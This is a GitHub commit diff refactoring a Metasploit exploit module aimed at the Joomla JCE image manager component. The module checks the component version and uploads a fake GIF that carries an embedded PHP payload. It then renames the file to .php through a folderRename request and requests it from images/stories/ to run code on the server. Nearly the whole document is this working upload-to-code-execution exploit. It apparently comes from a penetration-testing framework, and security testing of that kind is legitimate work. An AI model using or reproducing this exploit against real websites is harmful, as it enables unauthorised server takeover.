Skip to content

Commit 014c010

Browse files
committed
improve cleanup
1 parent 0c169f9 commit 014c010

File tree

1 file changed

+35
-30
lines changed

1 file changed

+35
-30
lines changed

modules/exploits/multi/http/joomla_comjce_imgmanager.rb

Lines changed: 35 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -58,12 +58,18 @@ def initialize(info = {})
5858

5959
def get_version
6060
# check imgmanager version
61-
@uri_base = normalize_uri(target_uri.path.to_s) + 'index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager'
62-
uri = @uri_base
61+
@uri_base = normalize_uri(target_uri.path.to_s, 'index.php')
62+
@vars_get_base = {
63+
'option'=> 'com_jce',
64+
'task' => 'plugin',
65+
'plugin'=> 'imgmanager',
66+
'file' => 'imgmanager'
67+
}
6368
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
6469
res = send_request_cgi(
6570
{
66-
'uri' => uri,
71+
'uri' => @uri_base,
72+
'vars_get' => @vars_get_base,
6773
'method' => 'GET',
6874
'version' => '1.1'
6975

@@ -93,35 +99,38 @@ def upload_gif
9399
cmd_php = "GIF89aG\n<?php #{payload.encoded} ?>"
94100

95101
# Generate some random strings
96-
@script_name = rand_text_alpha_lower(6)
102+
@payload_name = rand_text_alpha_lower(6)
97103
boundary = '-' * 27 + rand_text_numeric(11)
98-
uri = @uri_base + '&method=form'
104+
105+
parms = {'method'=> 'form'}
106+
parms.merge!(@vars_get_base)
99107

100108
# POST data
101109
post_data = Rex::MIME::Message.new
102110
post_data.bound = boundary
103111
post_data.add_part("/", nil, nil, "form-data; name=\"upload-dir\"")
104112
post_data.add_part("", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"\"")
105113
post_data.add_part("0", nil, nil, "form-data; name=\"upload-overwrite\"")
106-
post_data.add_part("#{cmd_php}", "image/gif", nil, "form-data; name=\"Filedata\"; filename=\"#{@script_name}.gif\"")
107-
post_data.add_part("#{@script_name}", nil, nil, "form-data; name=\"upload-name\"")
114+
post_data.add_part("#{cmd_php}", "image/gif", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}.gif\"")
115+
post_data.add_part("#{@payload_name}", nil, nil, "form-data; name=\"upload-name\"")
108116
post_data.add_part("upload", nil, nil, "form-data; name=\"action\"")
109117

110118
data = post_data.to_s
111119

112120
res = send_request_cgi({
113-
'uri' => uri,
114-
'method' => 'POST',
115-
'version' => '1.1',
116-
'data' => data,
117-
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
121+
'uri' => @uri_base,
122+
'vars_get' => parms,
123+
'method' => 'POST',
124+
'version' => '1.1',
125+
'data' => data,
126+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
118127
})
119128

120129
if (res and res.code = 200 )
121130
return :access_denied if (res.body =~ /RESTRICTED/i)
122-
print_good("Successfully uploaded #{@script_name}.gif")
131+
print_good("Successfully uploaded #{@payload_name}.gif")
123132
else
124-
print_error("Error uploading #{@script_name}.gif")
133+
print_error("Error uploading #{@payload_name}.gif")
125134
return :abort
126135
end
127136

@@ -131,15 +140,15 @@ def upload_gif
131140

132141
def renamed?
133142
# Rename the file from .gif to .php
134-
uri = @uri_base # '&version=1576&cid=20'
135143

136-
data = "json={\"fn\":\"folderRename\",\"args\":[\"/#{@script_name}.gif\",\"#{@script_name}.php\"]}"
144+
data = "json={\"fn\":\"folderRename\",\"args\":[\"/#{@payload_name}.gif\",\"#{@payload_name}.php\"]}"
137145

138-
print_status("Change Extension from #{@script_name}.gif to #{@script_name}.php")
146+
print_status("Change Extension from #{@payload_name}.gif to #{@payload_name}.php")
139147

140148
res = send_request_cgi(
141149
{
142-
'uri' => uri,
150+
'uri' => @uri_base,
151+
'vars_get' => @vars_get_base,
143152
'method' => 'POST',
144153
'version' => '1.1',
145154
'data' => data,
@@ -150,31 +159,27 @@ def renamed?
150159
}
151160
})
152161
if (res and res.code == 200 )
153-
print_good("Renamed #{@script_name}.gif to #{@script_name}.php")
162+
print_good("Renamed #{@payload_name}.gif to #{@payload_name}.php")
154163
return true
155164
else
156-
print_error("Failed to rename #{@script_name}.gif to #{@script_name}.php")
165+
print_error("Failed to rename #{@payload_name}.gif to #{@payload_name}.php")
157166
return false
158167
end
159168
end
160169

161170
def call_payload
162-
directory = 'images/stories/'
163-
print_status("Calling payload: #{@script_name}.php")
164-
uri = normalize_uri(target_uri.path.to_s)
165-
uri << directory + @script_name + ".php"
166-
register_files_for_cleanup(uri)
167-
171+
payload = "#{@payload_name}.php"
172+
print_status("Calling payload: #{payload}")
173+
uri = normalize_uri(target_uri.path.to_s, "images", "stories", payload)
174+
register_files_for_cleanup(payload)
168175
res = send_request_cgi({
169176
'uri' => uri,
170177
'method' => 'GET',
171178
'version' => '1.1'
172179
})
173180
end
174181

175-
def on_new_session
176-
# on_new_session will force stdapi to load (for Linux meterpreter)
177-
end
182+
178183

179184
def exploit
180185

@@ -187,4 +192,4 @@ def exploit
187192

188193
end
189194

190-
end
195+
end

0 commit comments

Comments
 (0)